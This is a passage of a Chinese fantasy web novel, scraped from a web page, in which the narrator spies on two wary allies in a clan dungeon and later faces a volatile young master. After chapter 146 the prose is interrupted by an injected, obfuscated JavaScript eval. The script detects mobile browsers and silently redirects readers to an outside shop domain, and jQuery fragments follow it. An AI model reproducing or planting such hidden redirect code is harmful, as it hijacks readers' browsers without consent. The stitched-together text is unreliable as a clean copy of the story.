141.
黄雀小姐一路飞奔回地牢,不出所料地在老地方看见了自己的两位盟友。
萧子珏正站在自己的牢房前,手里空空如也。
——光从外表上看,我还真不确定他有没有达成此行的目的。
我一时摸不准他和周靖到底是个什么情况——看周家三位嫡系之前的表现,很有可能早就和万俟宸打过交道,甚至刚才立场隐隐是更倾向万俟宸的。
可那位似乎也想要萧家的气运啊。
那么周靖对此知情吗?她又到底是站在哪一方呢?
萧子珏知道这些情况吗?
偷听这种事嘛,向来是一回生二回熟。
刚尝过了点甜头,此时自然也乐意再把这招玩一次。我于是故技重施,在地牢外找了个角落,毫不犹豫地开启第二段蹲墙角行动。
虽说周靖离开得比我早上片刻,她的脚程却远不如我。
我在这里蹲守了近一炷香的时间,才在神识中远远感应到周靖的身影。
142.
“情况如何?”
没有我这个陌生人在一旁碍事,这对盟友说话就直接多了。
但与此同时,当这两位独处(虽然只是他们自以为的独处)的情况下,两个人不仅没有热络起来,还个顶个的神情冷漠,此地的气氛简直能冻死一个路过的幸运儿。
假如让一个不知情的人看了,怕是立刻就会以为这里站着的是两个不共戴天的死敌。
我的确对这两位的联盟有那么些怀疑,但眼前这一幕,还是着实超出了我的想象。
嘶,我等下不会还得跳出来劝架吧?
我蹲在墙角怀疑人生的时候,简略的对话快速地往下发展。
周靖和萧子珏分别将自己的经历简短地说了出来。
周靖只说家宴开到一半,有人混进来被周修永发现了不对,然后她偷偷跟上去,听到那人在垂死之际说要同周修永做交易,他可以告诉周修永仪式的问题和怎么解决,要求是仪式结束后“那个东西”给他。
“老东西最后同意了。”
周靖一句话就带过了中间的一切,并没有阐述自己在其中发挥的作用。
萧子珏则是把我和他分开前的事说了个大概,到后面也只有一句,“我找机会进去搜寻一圈,但是没找到东西。”
这个我没有跟着,也没法明确他说没说谎,可少了很多内容是绝对的。
优秀的匹配机制。
我感叹到。
143.
事到如今,周家完全可以改名叫“粥家”了。
自从我来到这个世界,除了比较扑朔迷离且身为主线导火索的南宫家、北家灭门案,还是头一次看到这么丰盛的一锅粥。
萧子珏、周兴鸿、周靖、周兴乾、周修永、万俟宸,区区六个人,画个关系图蜘蛛路过都得以为这是哪个同类编的网。
同盟、父子、兄弟姐妹……无数理不清剪还乱的关系、立场,我哪怕跟着只看了这么半天功夫,都觉得脑壳止不住的疼。
好在先前成功给自己留了个后手,目前只要等到仪式开始,趁乱偷溜肯定是不成问题的。
那么后面就走一步看一步吧。
呃,虽然我怀疑还会出什么幺蛾子。
比如又冲出来一条狗。
……应该、可能、也许、大概、或许能平平安安出去……吧?
我突然有点想捂脸是为什么。
144.
偷听进行到这一步,其实已经完成了它的意义。
我悄悄往远处挪了几百米,现出身形,不紧不慢地往地牢这边走过来。
或许是察觉到我的到来,等我进入地牢的时候,两个人之间那种更像仇敌的氛围已经消失得连影都没了。
虽然还说不上热络,但至少不会让人觉得这两人下一秒就要打起来。
可笑我当初还以为他们是不想在我面前说太多,让我对他们太过了解。
如今才知晓,这已经是看在我的面子上收敛很多了。
诡异地有一点莫名感动。
呜呜。
145.
好吧,再感动也不妨碍我藏一手。
噫,这么一想我也挺混蛋的。
算了,混蛋就混蛋吧,总比死蛋好。
我绷着一张高冷的脸,面不改色地开始编瞎话,只说自己出去逛了逛,基本什么也没发现。
好在有萧子珏“失败”在前,我的徒劳无功显得并不突兀。
就是在场三个人,三个人都有自己的小心思,实在是很难对这个草率的联盟有什么未来的期待。
“……那两个受周兴乾来押我的人既然已经死了,原本的计划可以不用考虑了。”萧子珏大概是自己调理过了,此时情绪很淡,并未对我的举动有什么怨言,“现在我假装是自己杀的,找个地方先躲着。”
他思忖着,转头问周靖,“我一个人躲到仪式开始不现实,需要我刻意送到什么人手里吗?”
这人手里绝对还有底牌,毕竟连周兴乾的住处他都能摸进去,只要周家那位合体期的老祖不出面,想躲起来就更不是什么难事。
不过我也没必要拆穿他。
做人嘛,还是得留一线的,现在我出这个风头,保不齐等会他就要为难我了。
“……你最好还是直接撞到周修永那里。”周靖犹豫许久,似乎她也把握不住这里面的深浅。
“周修永?”
“对。周兴鸿和周兴乾……我本来以为自己还算了解他们,可是今天又不太确定了。”
她眉头紧锁,张口好像想说些什么,最后却还是没能说出口。
我明白她的意思,周兴鸿平时一副纨绔子弟的样子,仗着天赋对其他人都看不起,又有种脑干缺失的美,换谁都不会把他当成什么劲敌;周兴乾又天天唯父亲马首是瞻,周修永说东就绝不往西,所有人都是把他当作周修永心腹看待。
可是今晚,不仅周兴鸿好像有了脑子,就连周兴乾也展现出阳奉阴违的一面。
过往的一切认知都得推翻了。
而周家这一出大戏,万俟宸到底一个人在里头饰演了多少角色,怕是目前也只有他自己知道。
或许现在连周靖自己都无法确定,她到底是不是中了某个人的计,无意之中帮那人把局面推到了现在这个地步。
所以目前来说,或许把萧子珏放到周修永那边,才是矮子里拔将军的那个唯一解。
“行,我明白了。”
萧子珏眉眼如常,好似只是随意应了一件平常的事,而不是把他的性命交由他人处理一般。
146.
……这两人到底是个什么关系。
我有些咋舌,说好吧,私下里相处针锋相对的,说不好吧,性命攸关的事,也能迅速采取对方的建议。
好生奇怪。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17961540|214238||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>不过纳闷归纳闷,我没有这个兴趣去探究别人的私事,于是惊讶过后,就把问题抛之脑后了。
现在更重要的是接下来的安排。
“我暂时留在地牢里。”
我其实也不想在这个地方继续蹲下去,可是要是真走了,周修永那几个就算再傻都能猜到还有变故。我的存在目前来说还是个秘密,作为底牌,还是越晚出场越好。
“周家接下来的目光都会在仪式上面,当然,还有你,”我看向萧子珏,沉静地指出原因,“地牢人手不会太多,我想要出去很容易。”
到时候我就可以在暗中自由行动,也能趁机探明一些不为人知的事。
周靖和萧子珏原本的计划早就被接二连三的意外给彻底打乱了,此时也只能走一步看一步。
我们约定好每日子时见面商讨后,就把接下来的行动定了下来。
147.
其实还挺可惜的。
这两位智商在线不说,行动也很果决,假如真是我的盟友的话,确实是个值得高兴的事。
但是这种情况下,我们被外力突如其来地强行糅合在一起,反倒是人在心不在,每个人都在忖度着自己能说多少,要收敛到什么程度……
目前来看,一加一加一,小于三是肯定的了。
这次事变,我只是个被莫名卷入的过路人,他俩却是实打实的站在自己重要的人生节点上。
也不知道当一切结束的时候,这两位的命运会是什么样子。
唉。
148.
等目送周靖和萧子珏离开后,我又在地牢里缩了一炷香,才等到怒气冲冲进入地牢的周兴鸿。
说实话,这位居然这么点时间就能得到消息赶来,足以说明周兴鸿扮猪的伪装下,是真真能吃掉老虎的。
我做出被闯进来的人二次惊吓的姿态,蜷缩在角落里瑟瑟发抖。
“我才离开多久?人怎么就没了?”周兴鸿亲眼见了被破坏的牢房,顿时大发雷霆。
跟在他身边的人被吼得一个劲地求情,只说是没料到大少爷行事如此猖狂,本来是安排好人看着的,一旦发现大少爷身边的人出现,立刻上报,可是……
“小的也没想到,大少爷竟然一点面子都不给,派来的人直接将我们的人打杀了,小的也是刚刚才知晓啊……”
那负责的人也是倒霉,偏摊上了这桩苦差事,生怕自己被迁怒,只好极尽口舌之能,试图把事情的根源全部推到大少爷身上去。
周兴鸿听完,竟也渐渐冷静下来,可就在那人以为逃过一劫的时候,周三少爷突然暴起,一剑斩下了他的头颅。
“哼,办事不利还试图洗清干系,留着也是无用了。”
他虚虚斜睨了身后大汗淋漓的随从,语气中敲打的意味相当浓郁。
嚯,现场版的杀鸡儆猴。
这也是让我赶上了。
我算是发现了,自从遇见这货开始,我就基本上都在欣赏各路好戏了。
短短一天不到,吃的瓜快超过过去十年了。
我正感慨着,然后周兴鸿的声音忽然近了不少,颤颤巍巍地抬眼一看,才发现这人不知何时来到我面前,正饶有兴味地上下打量我。
“你亲眼看到了他是怎么出去的,对吧?”
失策了。
我以为我是瓜田里的猹,原来实际上,我其实也是那只被“儆”了的猴。
哈哈。